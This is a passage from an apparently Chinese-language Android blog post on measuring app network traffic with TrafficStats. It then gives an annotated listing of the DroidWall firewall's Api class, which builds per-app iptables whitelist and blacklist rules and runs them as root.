int uid = applicationInfo.uid; // 获得应用程序UID
// proc/uid_stat/6666【应用程序uid值】
long tx = TrafficStats.getUidTxBytes(uid); // 发送的 上传的流量byte
long rx = TrafficStats.getUidRxBytes(uid); // 下载的流量 byte
// 方法返回值 -1 代表的是应用程序没有产生流量 或者操作系统不支持流量统计}TrafficStats.getMobileTxBytes();// 获取手机3g、2g、4g网络上传的总流量TrafficStats.getMobileRxBytes();// 手机2g/3g下载的总流量
TrafficStats.getTotalTxBytes();// 手机全部网络接口 包括wifi,3g、2g、4g上传的总流量TrafficStats.getTotalRxBytes();// 手机全部网络接口 包括wifi,3g、2g、4g下载的总流量

Android android_net_TrafficStats源码地址:https://android.googlesource.com/platform/frameworks/base/+/gingerbread/core/jni/android_net_TrafficStats.cpp

不是所有机器都是用eth0来表示WIFI接口,同样也不是所有rmnet0来表示GPRS, 这些字段的表示都与ROM相关,甚至有些ROM连/proc/net/dev这个文件都没有!如果我们使用的流量监控工具或者程序只适配了这种情况,那么在别的机器上就有可能获取不到流量数据了。既然不同的ROM可能有不同的字段,前比较好的办法是将能收集到的流量字段做成配置文件,然后在读取时去一一匹配,比如配置文件的格式可以如下:

<p data-line="715" class="sync-line" style="margin:0;"></p>#  Wi-Fi<p class="mume-header " id="wi-fi"></p>eth
tiwlan
wlan
athwlan
ip6tnl<p data-line="721" class="sync-line" style="margin:0;"></p>

这里,只是做了统计系统级别流量(不是进程级别流量),在Android 开发使用的流量接口TrafficStats来做流量监控,监控网卡流量,路径如下:

/proc/net/dev<p data-line="727" class="sync-line" style="margin:0;"></p>

一般情况下,默认第一张网卡为外网卡,检测具体哪张网卡为外网网卡或内网网卡,当然当然还有无线网卡(5分钟检测一次)

ip a 

<p data-line="733" class="sync-line" style="margin:0;"></p>

下面是一个开源Android 防火墙iptables的核心代码,支持黑名单与白名单两种模式,可设定允许(白名单)访问的程序或禁止(单名单)访问的程序

  • 根据应用的uid设置是否允许它访问移动网络

  • 根据应用的uid设置是否允许它访问Wi-Fi网络

droidwall下载地址:

  • https://code.google.com/p/droidwall

5.1 droidwall 关键源码分析

/**
* Contains shared programming interfaces.
* All iptables "communication" is handled by this class.
*/
package org.nice.droidwall;import java.io.BufferedReader;import java.io.File;import java.io.FileOutputStream;import java.io.FileReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.OutputStreamWriter;import java.io.StringReader;import java.util.Arrays;import java.util.HashMap;import java.util.LinkedList;import java.util.List;import java.util.StringTokenizer;import org.nice.droidwall.R;import android.Manifest;import android.app.AlertDialog;import android.content.Context;import android.content.Intent;import android.content.SharedPreferences;import android.content.SharedPreferences.Editor;import android.content.pm.ApplicationInfo;import android.content.pm.PackageManager;import android.content.res.Resources;import android.graphics.drawable.Drawable;import android.util.Log;import android.widget.Toast;/**
* 包含共享的编程接口
* 所有 iptables 的“通信”都由这个类处理
* 将所有的操作写入到NetWall.sh文件中,执行并输出结果
* 用iptables -L -v 显示规则
* 用dmesg | grep NetWall 来显示日志
*/
public final class Api {
/** 应用程序版本号 */
public static final String VERSION = "1.1";
/** 用于指示“任何应用程序”的特殊应用程序 UID */
public static final int SPECIAL_UID_ANY = -10;
/** 用于指示 Linux 内核的特殊应用程序 UID */
public static final int SPECIAL_UID_KERNEL = -11;
/** root 脚本文件名 */
private static final String SCRIPT_FILE = "NetWall.sh";

// 定义iptables的一些预知参数
public static final String PREFS_NAME = "NetWallPrefs";
public static final String PREF_3G_UIDS = "AllowedUids3G";
public static final String PREF_WIFI_UIDS = "AllowedUidsWifi";
public static final String PREF_PASSWORD = "Password";
public static final String PREF_MODE = "BlockMode";
public static final String PREF_ENABLED = "Enabled";
public static final String PREF_LOGENABLED = "LogEnabled";
// 模式
public static final String MODE_WHITELIST = "whitelist";
public static final String MODE_BLACKLIST = "blacklist";
// Messages
public static final String STATUS_CHANGED_MSG = "org.nice.droidwall.intent.action.STATUS_CHANGED";
public static final String TOGGLE_REQUEST_MSG = "org.nice.droidwall.intent.action.TOGGLE_REQUEST";
public static final String STATUS_EXTRA = "org.nice.droidwall.intent.extra.STATUS";

// 缓存的应用程序
public static DroidApp applications[] = null;
// 判断是否为root权限,默认为falss
private static boolean hasroot = false;
// 指示这是否是 ARMv6 设备的标志(-1:未知,0:否,1:是)
private static int isARMv6 = -1;

/**
* 显示一个简单的警告框
* @param ctx context
* @param msg message
*/

public static void alert(Context ctx, CharSequence msg) {
if (ctx != null) {
new AlertDialog.Builder(ctx)
.setNeutralButton(android.R.string.ok, null)
.setMessage(msg)
.setTitle(ctx.getString(R.string.alert_title))
.show();
}
}
/**
* 检查这是否是 ARMv6 设备
* @return true if this is ARMv6
*/

private static boolean isARMv6() {
if (isARMv6 == -1) {
BufferedReader r = null;
try {
isARMv6 = 0;
r = new BufferedReader(new FileReader("/proc/cpuinfo"));
for (String line = r.readLine(); line != null; line = r.readLine()) {
if (line.startsWith("Processor") && line.contains("ARMv6")) {
isARMv6 = 1;
break;
} else if (line.startsWith("CPU architecture") && (line.contains("6TE") || line.contains("5TE"))) {
isARMv6 = 1;
break;
}
}
} catch (Exception ex) {
} finally {
if (r != null) try {r.close();} catch (Exception ex) {}
}
}
return (isARMv6 == 1);
}
/**
* 创建用于确定要使用的 iptables 二进制文件的通用 shell 脚本头
* @param ctx context
* @return script header
*/

private static String scriptHeader(Context ctx) {
final String dir = ctx.getCacheDir().getAbsolutePath();
//cpu架构为ARMv6时用iptabl_g1,否则用iptables_n1
final String myiptables = dir + (isARMv6() ? "/iptables_g1" : "/iptables_n1");
return "" +
"IPTABLES=iptables\n" +
"BUSYBOX=busybox\n" +
"GREP=grep\n" +
"ECHO=echo\n" +
"# Try to find busybox\n" +
"if " + dir + "/busybox_g1 --help >/dev/null 2>/dev/null ; then\n" +
" BUSYBOX="+dir+"/busybox_g1\n" +
" GREP=\"$BUSYBOX grep\"\n" +
" ECHO=\"$BUSYBOX echo\"\n" +
"elif busybox --help >/dev/null 2>/dev/null ; then\n" +
" BUSYBOX=busybox\n" +
"elif /system/xbin/busybox --help >/dev/null 2>/dev/null ; then\n" +
" BUSYBOX=/system/xbin/busybox\n" +
"elif /system/bin/busybox --help >/dev/null 2>/dev/null ; then\n" +
" BUSYBOX=/system/bin/busybox\n" +
"fi\n" +
"# Try to find grep\n" +
"if ! $ECHO 1 | $GREP -q 1 >/dev/null 2>/dev/null ; then\n" +
" if $ECHO 1 | $BUSYBOX grep -q 1 >/dev/null 2>/dev/null ; then\n" +
" GREP=\"$BUSYBOX grep\"\n" +
" fi\n" +
" # Grep is absolutely required\n" +
" if ! $ECHO 1 | $GREP -q 1 >/dev/null 2>/dev/null ; then\n" +
" $ECHO The grep command is required. NetWall will not work.\n" +
" exit 1\n" +
" fi\n" +
"fi\n" +
"# Try to find iptables\n" +
"if " + myiptables + " --version >/dev/null 2>/dev/null ; then\n" +
" IPTABLES="+myiptables+"\n" +
"fi\n" +
"";
}
/**
* 复制一个原始资源文件,给定它的 ID 到给定的位置
* @param ctx context
* @param resid resource id
* @param file destination file
* @param mode file permissions (E.g.: "755")
* @throws IOException on error
* @throws InterruptedException when interrupted
*/

private static void copyRawFile(Context ctx, int resid, File file, String mode) throws IOException, InterruptedException
{
final String abspath = file.getAbsolutePath();
// 编写 iptables 二进制文件
final FileOutputStream out = new FileOutputStream(file);
final InputStream is = ctx.getResources().openRawResource(resid);
byte buf[] = new byte[1024];
int len;
while ((len = is.read(buf)) > 0) {
out.write(buf, 0, len);
}
out.close();
is.close();
// 更改权限
Runtime.getRuntime().exec("chmod "+mode+" "+abspath).waitFor();
}
/**
* 清除并重新添加所有规则(内部实现)
* @param ctx application context (mandatory)
* @param uidsWifi 允许或禁止 WIFI 的选定 UID 列表(取决于工作模式)
* @param uids3g 允许或禁止的 2G/3G 的选定 UID 列表(取决于工作模式)
* @param showErrors 指示是否应警告错误
*/

private static boolean applyIptablesRulesImpl(Context ctx, List<Integer> uidsWifi, List<Integer> uids3g, boolean showErrors) {
if (ctx == null) {
return false;
}
assertBinaries(ctx, showErrors);
final String ITFS_WIFI[] = {"tiwlan+", "wlan+", "eth+"};
final String ITFS_3G[] = {"rmnet+","pdp+","ppp+","uwbr+","wimax+"};
final SharedPreferences prefs = ctx.getSharedPreferences(PREFS_NAME, 0);
final boolean whitelist = prefs.getString(PREF_MODE, MODE_WHITELIST).equals(MODE_WHITELIST);
final boolean blacklist = prefs.getString(PREF_MODE, MODE_BLACKLIST).equals(MODE_BLACKLIST);
//final boolean blacklist = !whitelist;
final boolean logenabled = ctx.getSharedPreferences(PREFS_NAME, 0).getBoolean(PREF_LOGENABLED, false);

final StringBuilder script = new StringBuilder();
try {
int code;
script.append(scriptHeader(ctx));
script.append("" +
"$IPTABLES --version || exit 1\n" +
"# Create the NetWall chains if necessary\n" +
"$IPTABLES -L NetWall >/dev/null 2>/dev/null || $IPTABLES --new NetWall || exit 2\n" +
"$IPTABLES -L NetWall-3g >/dev/null 2>/dev/null || $IPTABLES --new NetWall-3g || exit 3\n" +
"$IPTABLES -L NetWall-wifi >/dev/null 2>/dev/null || $IPTABLES --new NetWall-wifi || exit 4\n" +
"$IPTABLES -L NetWall-reject >/dev/null 2>/dev/null || $IPTABLES --new NetWall-reject || exit 5\n" +
"# Add NetWall chain to OUTPUT chain if necessary\n" +
"$IPTABLES -L OUTPUT | $GREP -q NetWall || $IPTABLES -A OUTPUT -j NetWall || exit 6\n" +
"# Flush existing rules\n" +
"$IPTABLES -F NetWall || exit 7\n" +
"$IPTABLES -F NetWall-3g || exit 8\n" +
"$IPTABLES -F NetWall-wifi || exit 9\n" +
"$IPTABLES -F NetWall-reject || exit 10\n" +
"");
// 检查是否启用了日志记录
if (logenabled) {
script.append("" +
"# Create the log and reject rules (ignore errors on the LOG target just in case it is not available)\n" +
"$IPTABLES -A NetWall-reject -j LOG --log-prefix \"[NetWall] \" --log-uid\n" +
"$IPTABLES -A NetWall-reject -j REJECT || exit 11\n" +
"");
} else {
script.append("" +
"# Create the reject rule (log disabled)\n" +
"$IPTABLES -A NetWall-reject -j REJECT || exit 11\n" +
"");
}
if (whitelist && logenabled) {
script.append("# Allow DNS lookups on white-list for a better logging (ignore errors)\n");
script.append("$IPTABLES -A NetWall -p udp --dport 53 -j RETURN\n");
}
script.append("# Main rules (per interface)\n");
for (final String itf : ITFS_3G) {
script.append("$IPTABLES -A NetWall -o ").append(itf).append(" -j NetWall-3g || exit\n");
}
for (final String itf : ITFS_WIFI) {
script.append("$IPTABLES -A NetWall -o ").append(itf).append(" -j NetWall-wifi || exit\n");
}

script.append("# Filtering rules\n");
final String targetRule = (whitelist ? "RETURN" : "NetWall-reject");
final boolean any_3g = uids3g.indexOf(SPECIAL_UID_ANY) >= 0;
final boolean any_wifi = uidsWifi.indexOf(SPECIAL_UID_ANY) >= 0;

if (whitelist && !any_wifi) {
// wifi“白名单”时,需要保证dhcp和wifi用户都被允许
int uid = android.os.Process.getUidForName("dhcp");
if (uid != -1) {
script.append("# dhcp user\n");
script.append("$IPTABLES -A NetWall-wifi -m owner --uid-owner ").append(uid).append(" -j RETURN || exit\n");
}
uid = android.os.Process.getUidForName("wifi");
if (uid != -1) {
script.append("# wifi user\n");
script.append("$IPTABLES -A NetWall-wifi -m owner --uid-owner ").append(uid).append(" -j RETURN || exit\n");
}
}
if (any_3g) {
if (blacklist) {
/* 阻止此界面上的任何应用程序 */
script.append("$IPTABLES -A NetWall-3g -j ").append(targetRule).append(" || exit\n");
}
} else {
/* 在此界面上释放/阻止单个应用程序 */
for (final Integer uid : uids3g) {
if (uid >= 0)
script.append("$IPTABLES -A NetWall-3g -m owner --uid-owner ").append(uid).append(" -j ").append(targetRule).append(" || exit\n");
}
}
if (any_wifi) {
if (blacklist) {
/* 阻止此界面上的任何应用程序 */
script.append("$IPTABLES -A NetWall-wifi -j ").append(targetRule).append(" || exit\n");
}
} else {
/* 在此界面上释放/阻止单个应用程序 */
for (final Integer uid : uidsWifi) {
if (uid >= 0) script.append("$IPTABLES -A NetWall-wifi -m owner --uid-owner ").append(uid).append(" -j ").append(targetRule).append(" || exit\n");
}
}
if (whitelist) {
if (!any_3g) {
if (uids3g.indexOf(SPECIAL_UID_KERNEL) >= 0) {
script.append("# hack to allow kernel packets on white-list\n");
script.append("$IPTABLES -A NetWall-3g -m owner --uid-owner 0:999999999 -j NetWall-reject || exit\n");
} else {
script.append("$IPTABLES -A NetWall-3g -j NetWall-reject || exit\n");
}
}
if (!any_wifi) {
if (uidsWifi.indexOf(SPECIAL_UID_KERNEL) >= 0) {
script.append("# hack to allow kernel packets on white-list\n");
script.append("$IPTABLES -A NetWall-wifi -m owner --uid-owner 0:999999999 -j NetWall-reject || exit\n");
} else {
script.append("$IPTABLES -A NetWall-wifi -j NetWall-reject || exit\n");
}
}
} else {
if (uids3g.indexOf(SPECIAL_UID_KERNEL) >= 0) {
script.append("# hack to BLOCK kernel packets on black-list\n");
script.append("$IPTABLES -A NetWall-3g -m owner --uid-owner 0:999999999 -j RETURN || exit\n");
script.append("$IPTABLES -A NetWall-3g -j NetWall-reject || exit\n");
}
if (uidsWifi.indexOf(SPECIAL_UID_KERNEL) >= 0) {
script.append("# hack to BLOCK kernel packets on black-list\n");
script.append("$IPTABLES -A NetWall-wifi -m owner --uid-owner 0:999999999 -j RETURN || exit\n");
script.append("$IPTABLES -A NetWall-wifi -j NetWall-reject || exit\n");
}
}
final StringBuilder res = new StringBuilder();
code = runScriptAsRoot(ctx, script.toString(), res);
if (showErrors && code != 0) {
String msg = res.toString();
Log.e("NetWall", msg);
// 从输出中删除不必要的帮助信息
if (msg.indexOf("\nTry `iptables -h' or 'iptables --help' for more information.") != -1) {
msg = msg.replace("\nTry `iptables -h' or 'iptables --help' for more information.", "");
}
alert(ctx, "Error applying iptables rules. Exit code: " + code + "\n\n" + msg.trim());
} else {
return true;
}
} catch (Exception e) {
if (showErrors) alert(ctx, "error refreshing iptables: " + e);
}
return false;
}
/**
* 清除并重新添加所有已保存的规则(不是内存中的规则)
* 这比仅仅调用“applyIptablesRules”要快得多,因为它不需要读取已安装的应用程序
* @param ctx application context (mandatory)
* @param showErrors indicates if errors should be alerted
*/

public static boolean applySavedIptablesRules(Context ctx, boolean showErrors) {
if (ctx == null) {
return false;
}
final SharedPreferences prefs = ctx.getSharedPreferences(PREFS_NAME, 0);
final String savedUids_wifi = prefs.getString(PREF_WIFI_UIDS, "");
final String savedUids_3g = prefs.getString(PREF_3G_UIDS, "");
final List<Integer> uids_wifi = new LinkedList<Integer>();
if (savedUids_wifi.length() > 0) {
// 检查 wifi 上允许哪些应用程序
final StringTokenizer tok = new StringTokenizer(savedUids_wifi, "|");
while (tok.hasMoreTokens()) {
final String uid = tok.nextToken();
if (!uid.equals("")) {
try {
uids_wifi.add(Integer.parseInt(uid));
} catch (Exception ex) {
}
}
}
}

final List<Integer> uids_3g = new LinkedList<Integer>();
if (savedUids_3g.length() > 0) {
// 检查 2G/3G 上允许哪些应用程序
final StringTokenizer tok = new StringTokenizer(savedUids_3g, "|");
while (tok.hasMoreTokens()) {
final String uid = tok.nextToken();
if (!uid.equals("")) {
try {
uids_3g.add(Integer.parseInt(uid));
} catch (Exception ex) {
}
}
}
}
return applyIptablesRulesImpl(ctx, uids_wifi, uids_3g, showErrors);
}

/**
* 清除并重新添加所有规则
* @param ctx application context (mandatory)
* @param showErrors indicates if errors should be alerted
*/

public static boolean applyIptablesRules(Context ctx, boolean showErrors) {
if (ctx == null) {
return false;
}
saveRules(ctx);
return applySavedIptablesRules(ctx, showErrors);
}

/**
* 使用首选项存储保存当前规则
* @param ctx application context (mandatory)
*/

public static void saveRules(Context ctx) {
final SharedPreferences prefs = ctx.getSharedPreferences(PREFS_NAME, 0);
final DroidApp[] apps = getApps(ctx);
// 构建以管道分隔的名称列表
final StringBuilder newuids_wifi = new StringBuilder();
final StringBuilder newuids_3g = new StringBuilder();
for (int i=0; i<apps.length; i++) {
if (apps[i].selected_wifi) {
if (newuids_wifi.length() != 0) newuids_wifi.append('|');
newuids_wifi.append(apps[i].uid);
}
if (apps[i].selected_3g) {
if (newuids_3g.length() != 0) newuids_3g.append('|');
newuids_3g.append(apps[i].uid);
}
}
// 保存新的 UID 列表
final Editor edit = prefs.edit();
edit.putString(PREF_WIFI_UIDS, newuids_wifi.toString());
edit.putString(PREF_3G_UIDS, newuids_3g.toString());
edit.commit();
}

/**
* 清除所有 iptables 规则
* @param ctx mandatory context
* @param showErrors indicates if errors should be alerted
* @return 如果规则被清除,则为 true
*/

public static boolean purgeIptables(Context ctx, boolean showErrors) {
StringBuilder res = new StringBuilder();
try {
assertBinaries(ctx, showErrors);
int code = runScriptAsRoot(ctx, scriptHeader(ctx) +
"$IPTABLES -F NetWall\n" +
"$IPTABLES -F NetWall-reject\n" +
"$IPTABLES -F NetWall-3g\n" +
"$IPTABLES -F NetWall-wifi\n", res);
if (code == -1) {
if (showErrors) alert(ctx, "error purging iptables. exit code: " + code + "\n" + res);
return false;
}
return true;
} catch (Exception e) {
if (showErrors) alert(ctx, "error purging iptables: " + e);
return false;
}
}

/**
* 显示 iptables 规则输出
* @param ctx application context
*/

public static void showIptablesRules(Context ctx) {
try {
final StringBuilder res = new StringBuilder();
runScriptAsRoot(ctx, scriptHeader(ctx) +
"$ECHO $IPTABLES\n" +
"$IPTABLES -L -v\n", res);
alert(ctx, res);
} catch (Exception e) {
alert(ctx, "error: " + e);
}
}

/**
* 显示日志
* @param ctx application context
* @return true if the clogs were cleared
*/

public static boolean clearLog(Context ctx) {
try {
final StringBuilder res = new StringBuilder();
int code = runScriptAsRoot(ctx, "dmesg -c >/dev/null || exit\n", res);
if (code != 0) {
alert(ctx, ctx.getString(R.string.no_root_access) + res);
return false;
}
return true;
} catch (Exception e) {
alert(ctx, ctx.getString(R.string.no_root_access) + e);
}
return false;
}
/**
* 显示日志
* @param ctx application context
*/

public static void showLog(Context ctx) {
try {
StringBuilder res = new StringBuilder();
int code = runScriptAsRoot(ctx, scriptHeader(ctx) +
"dmesg | $GREP NetWall\n", res);
if (code != 0) {
if (res.length() == 0) {
res.append("Log is empty");
}
alert(ctx, res);
return;
}
final BufferedReader r = new BufferedReader(new StringReader(res.toString()));
final Integer unknownUID = -99;
res = new StringBuilder();
String line;
int start, end;
Integer appid;
final HashMap<Integer, LogInfo> map = new HashMap<Integer, LogInfo>();
LogInfo loginfo = null;
while ((line = r.readLine()) != null) {
if (line.indexOf("[NetWall]") == -1) continue;
appid = unknownUID;
if (((start=line.indexOf("UID=")) != -1) && ((end=line.indexOf(" ", start)) != -1)) {
appid = Integer.parseInt(line.substring(start+4, end));
}
loginfo = map.get(appid);
if (loginfo == null) {
loginfo = new LogInfo();
map.put(appid, loginfo);
}
loginfo.totalBlocked += 1;
if (((start=line.indexOf("DST=")) != -1) && ((end=line.indexOf(" ", start)) != -1)) {
String dst = line.substring(start+4, end);
if (loginfo.dstBlocked.containsKey(dst)) {
loginfo.dstBlocked.put(dst, loginfo.dstBlocked.get(dst) + 1);
} else {
loginfo.dstBlocked.put(dst, 1);
}
}
}
//取出程序名
final DroidApp[] apps = getApps(ctx);
for (Integer id : map.keySet()) {
res.append("App ID ");
if (id != unknownUID) {
res.append(id);
for (DroidApp app : apps) {
if (app.uid == id) {
res.append(" (").append(app.names[0]);
if (app.names.length > 1) {
res.append(", ...)");
} else {
res.append(")");
}
break;
}
}
} else {
res.append("(kernel)");
}
//显示某IP过滤的包数
loginfo = map.get(id);
res.append(" - Blocked ").append(loginfo.totalBlocked).append(" packets");
if (loginfo.dstBlocked.size() > 0) {
res.append(" (");
boolean first = true;
for (String dst : loginfo.dstBlocked.keySet()) {
if (!first) {
res.append(", ");
}
res.append(loginfo.dstBlocked.get(dst)).append(" packets for ").append(dst);
first = false;
}
res.append(")");
}
res.append("\n\n");
}
if (res.length() == 0) {
res.append("Log is empty");
}
alert(ctx, res);
} catch (Exception e) {
alert(ctx, "error: " + e);
}
}

/**
* @param ctx application context (mandatory)
* @return 应用程序列表
*/

public static DroidApp[] getApps(Context ctx) {
if (applications != null) {
// 返回缓存实例
return applications;
}
final SharedPreferences prefs = ctx.getSharedPreferences(PREFS_NAME, 0);
// 允许的应用程序名称由管道“|”分隔(坚持)
final String savedUids_wifi = prefs.getString(PREF_WIFI_UIDS, "");
final String savedUids_3g = prefs.getString(PREF_3G_UIDS, "");
int selected_wifi[] = new int[0];
int selected_3g[] = new int[0];
if (savedUids_wifi.length() > 0) {
// 检查允许哪些应用程序
final StringTokenizer tok = new StringTokenizer(savedUids_wifi, "|");
selected_wifi = new int[tok.countTokens()];
for (int i=0; i<selected_wifi.length; i++) {
final String uid = tok.nextToken();
if (!uid.equals("")) {
try {
selected_wifi[i] = Integer.parseInt(uid);
} catch (Exception ex) {
selected_wifi[i] = -1;
}
}
}
// 对数组进行排序以允许稍后使用“Arrays.binarySearch”
Arrays.sort(selected_wifi);
}
if (savedUids_3g.length() > 0) {
// 检查允许哪些应用程序
final StringTokenizer tok = new StringTokenizer(savedUids_3g, "|");
selected_3g = new int[tok.countTokens()];
for (int i=0; i<selected_3g.length; i++) {
final String uid = tok.nextToken();
if (!uid.equals("")) {
try {
selected_3g[i] = Integer.parseInt(uid);
} catch (Exception ex) {
selected_3g[i] = -1;
}
}
}
// 对数组进行排序以允许稍后使用“Arrays.binarySearch”
Arrays.sort(selected_3g);
}
try {
final PackageManager pkgmanager = ctx.getPackageManager();
final List<ApplicationInfo> installed = pkgmanager.getInstalledApplications(0);
final HashMap<Integer, DroidApp> map = new HashMap<Integer, DroidApp>();
final Editor edit = prefs.edit();
boolean changed = false;
String name = null;

String cachekey = null;
DroidApp app = null;
for (final ApplicationInfo apinfo : installed) {
app = map.get(apinfo.uid);
// 过滤不允许访问互联网的应用程序
if (app == null && PackageManager.PERMISSION_GRANTED != pkgmanager.checkPermission(Manifest.permission.INTERNET, apinfo.packageName)) {
continue;
}
// 尝试从我们的缓存中获取应用程序标签 - getApplicationLabel() 非常慢
cachekey = "cache.label."+apinfo.packageName;
name = prefs.getString(cachekey, "");
if (name.length() == 0) {
// 获取标签并放入缓存
name = pkgmanager.getApplicationLabel(apinfo).toString();
edit.putString(cachekey, name);
changed = true;
}
if (app == null) {
app = new DroidApp();
app.uid = apinfo.uid;
app.names = new String[] { name };
map.put(apinfo.uid, app);
} else {
final String newnames[] = new String[app.names.length + 1];
System.arraycopy(app.names, 0, newnames, 0, app.names.length);
newnames[app.names.length] = name;
app.names = newnames;
}
// 检查是否选择了此应用程序
if (!app.selected_wifi && Arrays.binarySearch(selected_wifi, app.uid) >= 0) {
app.selected_wifi = true;
}
if (!app.selected_3g && Arrays.binarySearch(selected_3g, app.uid) >= 0) {
app.selected_3g = true;
}
}
if (changed) {
edit.commit();
}
/* 将特殊应用程序添加到列表中 */
final DroidApp special[] = {
new DroidApp(SPECIAL_UID_ANY,"(Any application) - Same as selecting all applications", false, false),
new DroidApp(SPECIAL_UID_KERNEL,"(Kernel) - Linux kernel", false, false),
new DroidApp(android.os.Process.getUidForName("root"), "(root) - Applications running as root", false, false),
new DroidApp(android.os.Process.getUidForName("media"), "Media server", false, false),
new DroidApp(android.os.Process.getUidForName("vpn"), "VPN networking", false, false),
new DroidApp(android.os.Process.getUidForName("shell"), "Linux shell", false, false),
};
for (int i=0; i<special.length; i++) {
app = special[i];
if (app.uid != -1 && !map.containsKey(app.uid)) {
// 检查是否允许此应用程序
if (Arrays.binarySearch(selected_wifi, app.uid) >= 0) {
app.selected_wifi = true;
}
if (Arrays.binarySearch(selected_3g, app.uid) >= 0) {
app.selected_3g = true;
}
map.put(app.uid, app);
}
}
applications = new DroidApp[map.size()];
int index = 0;
for (DroidApp application : map.values())
applications[index++] = application;
return applications;
} catch (Exception e) {
alert(ctx, "error: " + e);
}
return null;
}
/**
* 检查我们是否有root访问权限
* @param ctx mandatory context
* @param showErrors indicates if errors should be alerted
* @return boolean true if we have root
*/

public static boolean hasRootAccess(Context ctx, boolean showErrors) {
if (hasroot) return true;
final StringBuilder res = new StringBuilder();
try {
// 运行一个空脚本只是为了检查 root 访问
if (runScriptAsRoot(ctx, "exit 0", res) == 0) {
hasroot = true;
return true;
}
} catch (Exception e) {
}
if (showErrors) {
//没有root权限时错误提示信息
alert(ctx, ctx.getString(R.string.no_root_access) + res.toString());
}
return false;
}
/**
* 以 root 或普通用户身份运行脚本(多个命令以“\n”分隔)
* @param ctx mandatory context
* @param script the script to be executed
* @param res the script output response (stdout + stderr)
* @param timeout timeout in milliseconds (-1 for none)
* @return 脚本退出代码
*/

public static int runScript(Context ctx, String script, StringBuilder res, long timeout, boolean asroot) {
final File file = new File(ctx.getCacheDir(), SCRIPT_FILE);
final ScriptRunner runner = new ScriptRunner(file, script, res, asroot);
runner.start();
try {
if (timeout > 0) {
runner.join(timeout);
} else {
runner.join();
}
if (runner.isAlive()) {
// Timed-out
runner.interrupt();
runner.join(150);
runner.destroy();
runner.join(50);
}
} catch (InterruptedException ex) {}
return runner.exitcode;
}
/**
* 以 root 身份运行脚本(由“\n”分隔的多个命令)
* @param ctx mandatory context
* @param script the script to be executed
* @param res the script output response (stdout + stderr)
* @param timeout timeout in milliseconds (-1 for none)
* @return the script exit code
*/

public static int runScriptAsRoot(Context ctx, String script, StringBuilder res, long timeout) {
return runScript(ctx, script, res, timeout, true);
}
/**
* 以 root 身份运行脚本(多个命令由“\n”分隔),默认超时为 20 秒
* @param ctx mandatory context
* @param script the script to be executed
* @param res the script output response (stdout + stderr)
* @param timeout timeout in milliseconds (-1 for none)
* @return the script exit code
* @throws IOException 执行脚本或将其写入磁盘的任何错误
*/

public static int runScriptAsRoot(Context ctx, String script, StringBuilder res) throws IOException {
return runScriptAsRoot(ctx, script, res, 40000);
}
/**
* 以普通用户身份运行脚本(多个命令用“\n”分隔),默认超时时间为 20 秒
* @param ctx mandatory context
* @param script the script to be executed
* @param res the script output response (stdout + stderr)
* @param timeout timeout in milliseconds (-1 for none)
* @return the script exit code
* @throws IOException on any error executing the script, or writing it to disk
*/

public static int runScript(Context ctx, String script, StringBuilder res) throws IOException {
return runScript(ctx, script, res, 40000, false);
}
/**
* 二进制文件安装在缓存目录中
* @param ctx context
* @param showErrors indicates if errors should be alerted
* @return 如果无法安装二进制文件,则为 false
*/

public static boolean assertBinaries(Context ctx, boolean showErrors) {
boolean changed = false;
try {
// 检查 iptables_g1
File file = new File(ctx.getCacheDir(), "iptables_g1");
if ((!file.exists()) && isARMv6()) {
copyRawFile(ctx, R.raw.iptables_g1, file, "755");
changed = true;
}
// 检查 iptables_n1
file = new File(ctx.getCacheDir(), "iptables_n1");
if ((!file.exists()) && (!isARMv6())) {
copyRawFile(ctx, R.raw.iptables_n1, file, "755");
changed = true;
}
// 检查 busybox
file = new File(ctx.getCacheDir(), "busybox_g1");
if (!file.exists()) {
copyRawFile(ctx, R.raw.busybox_g1, file, "755");
changed = true;
}
if (changed) {
Toast.makeText(ctx, R.string.toast_bin_installed, Toast.LENGTH_LONG).show();
}
} catch (Exception e) {
if (showErrors) alert(ctx, "Error installing binary files: " + e);
return false;
}
return true;
}
/**
* 检查防火墙是否启用
* @param ctx mandatory context
* @return boolean
*/

public static boolean isEnabled(Context ctx) {
if (ctx == null) return false;
return ctx.getSharedPreferences(PREFS_NAME, 0).getBoolean(PREF_ENABLED, false);
}

/**
* 定义防火墙是否启用并广播新状态
* @param ctx mandatory context
* @param enabled enabled flag
*/

public static void setEnabled(Context ctx, boolean enabled) {
if (ctx == null) return;
final SharedPreferences prefs = ctx.getSharedPreferences(PREFS_NAME, 0);
if (prefs.getBoolean(PREF_ENABLED, false) == enabled) {
return;
}
final Editor edit = prefs.edit();
edit.putBoolean(PREF_ENABLED, enabled);
if (!edit.commit()) {
alert(ctx, "Error writing to preferences");
return;
}
/* 通知 */
final Intent message = new Intent(Api.STATUS_CHANGED_MSG);
message.putExtra(Api.STATUS_EXTRA, enabled);
ctx.sendBroadcast(message);
}
/**
* 当从系统中删除(卸载)应用程序时调用
* 这将在所选列表中查找该应用程序,并在必要时更新持久值
* @param ctx mandatory app context
* @param uid 已删除的应用程序的 UID
*/

public static void applicationRemoved(Context ctx, int uid) {
final SharedPreferences prefs = ctx.getSharedPreferences(PREFS_NAME, 0);
final Editor editor = prefs.edit();
// 允许的应用程序名称由管道“|”分隔(坚持)
final String savedUids_wifi = prefs.getString(PREF_WIFI_UIDS, "");
final String savedUids_3g = prefs.getString(PREF_3G_UIDS, "");
final String uid_str = uid + "";
boolean changed = false;
// 在“wi-fi”列表中查找已删除的应用程序
if (savedUids_wifi.length() > 0) {
final StringBuilder newuids = new StringBuilder();
final StringTokenizer tok = new StringTokenizer(savedUids_wifi, "|");
while (tok.hasMoreTokens()) {
final String token = tok.nextToken();
if (uid_str.equals(token)) {
Log.d("NetWall", "Removing UID " + token + " from the wi-fi list (package removed)!");
changed = true;
} else {
if (newuids.length() > 0) newuids.append('|');
newuids.append(token);
}
}
if (changed) {
editor.putString(PREF_WIFI_UIDS, newuids.toString());
}
}
// 在“3G”列表中查找已删除的应用程序
if (savedUids_3g.length() > 0) {
final StringBuilder newuids = new StringBuilder();
final StringTokenizer tok = new StringTokenizer(savedUids_3g, "|");
while (tok.hasMoreTokens()) {
final String token = tok.nextToken();
if (uid_str.equals(token)) {
Log.d("NetWall", "Removing UID " + token + " from the 3G list (package removed)!");
changed = true;
} else {
if (newuids.length() > 0) newuids.append('|');
newuids.append(token);
}
}
if (changed) {
editor.putString(PREF_3G_UIDS, newuids.toString());
}
}
// 如果有任何变化,请保存新的首选项...
if (changed) {
editor.commit();
if (isEnabled(ctx)) {
// ..如果启用了防火墙,还可以重新应用规则
applySavedIptablesRules(ctx, false);
}
}
